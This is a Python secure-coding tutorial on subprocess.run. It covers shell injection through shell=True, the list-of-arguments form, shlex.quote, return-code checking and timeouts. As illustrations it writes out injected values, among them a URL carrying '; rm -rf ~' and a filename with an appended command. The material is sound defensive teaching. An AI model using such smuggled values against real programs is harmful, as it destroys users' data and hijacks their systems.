subprocess and shell-injection safety

subprocess.run: the modern API, and the list that disarms the shell

subprocess.run(...) is the one entry point you want for running an external program — it supersedes the older os.system and os.popen, which only ever took a shell string and gave you almost no control over the result. The single most important decision you make with run is how you pass the command, because it decides whether a shell is involved at all.

import subprocess

# SAFE: list of args. Python calls execve("git", ["git","clone",url]) directly.
# No shell. `url` is one literal argv entry — metacharacters in it mean nothing.
subprocess.run(["git", "clone", url])

# DANGEROUS: a single string + shell=True. Python hands the whole string to /bin/sh,
# which PARSES it — so anything in `url` like ; | && $() runs as its own command.
subprocess.run(f"git clone {url}", shell=True)

With the list form, subprocess execs the program directly through the OS execve family: the program is argv[0] and every other list element is passed as a literal argument, byte for byte. There is no /bin/sh in the chain, so there is nothing to interpret ;, |, &&, $(…), or backticks. A hostile url of https://h/r; rm -rf ~ is simply a (nonsensical, harmless) string argument handed to git, which rejects it as a bad URL. That is the whole defense: no shell, no shell injection.

shell=True is the injection vector — and shlex.quote is the consolation prize

The danger is not shell=True by itself; it is shell=True with interpolated untrusted input. The moment any part of that string comes from a user, an upload, an HTTP body, a filename, or another service, an attacker can smuggle shell metacharacters through it and break out of your intended command. This is textbook OS command injection (OWASP), and it does not require anything exotic — a ; or a $(…) is the entire payload.

# The vulnerability, in one line. `filename` is from an upload form.
subprocess.run(f"convert {filename} out.png", shell=True)   # filename = "x.png; <command>"

# The fix is not "quote harder" — it is "don't build a shell string at all":
subprocess.run(["convert", filename, "out.png"])            # filename is one inert argv entry

If you genuinely need a shell feature — a pipeline, a glob, a ~ expansion that only the shell does — then and only then reach for shlex.quote() to escape each untrusted piece before it enters the string. But treat that as the consolation prize: shlex.quote is one forgotten call away from a hole, whereas the list form is structurally safe with nothing to forget. Reach for the list first, every time; reach for a shell (with shlex.quote on every untrusted fragment) only when a shell feature is actually required.

Capturing output and actually checking the result

Once injection is impossible, the next question is: did it work? Running the command is half the job; reading what happened is the other half. subprocess.run([...], capture_output=True, text=True) captures the child’s stdout and stderr as decoded strings (without text=True you get raw bytes). The returned CompletedProcess carries .returncode — the exit code, where 0 is success and any non-zero is a failure the program is reporting to you.

r = subprocess.run(["git", "clone", url], capture_output=True, text=True)
if r.returncode != 0:
    raise RuntimeError(f"clone failed: {r.stderr}")   # don't sail past a non-zero exit

# Or let subprocess raise for you — check=True turns non-zero into an exception:
subprocess.run(["git", "clone", url], check=True)     # raises CalledProcessError on failure

The footgun here is the script equivalent of an unchecked error return: by default run does not raise on a non-zero exit, so a failing step looks like it succeeded and your script marches on. That is the cron-job bug where the nightly backup “ran fine” for months because the pg_dump step exited non-zero and nobody checked. The discipline is unconditional: either inspect .returncode yourself or pass check=True so a failed command raises CalledProcessError instead of passing silently.

timeout=: the bound that keeps a hung child from hanging you

External commands talk to networks, disks, and other processes — all of which can stall. subprocess.run([...], timeout=30) raises TimeoutExpired if the child hasn’t finished within the given seconds. Without it, a stuck git fetch against a dead mirror, a curl to a black-holed host, or a convert chewing on a malformed file will hang your script — and in CI, hang the whole pipeline — indefinitely.

try:
    subprocess.run(["git", "fetch"], check=True, timeout=30)
except subprocess.TimeoutExpired:
    # the child is killed; handle the stall instead of blocking forever
    log.error("git fetch exceeded 30s — aborting")

This is exactly the sequel to the thumbnail incident: a malformed upload made convert loop forever and pinned a worker, and the fix was a one-word addition, timeout=. Treat every external call as something that can hang, and bound it. Two related footguns round this out: reading large output via a raw subprocess.PIPE and then .wait() can deadlock when the OS pipe buffer fills and neither side drains it — run() (and Popen.communicate()) read the pipes for you and sidestep this; and pass env= explicitly when you need reproducibility or want to avoid leaking the parent’s secrets into the child, and cwd= to set the working directory instead of mutating the process with chdir.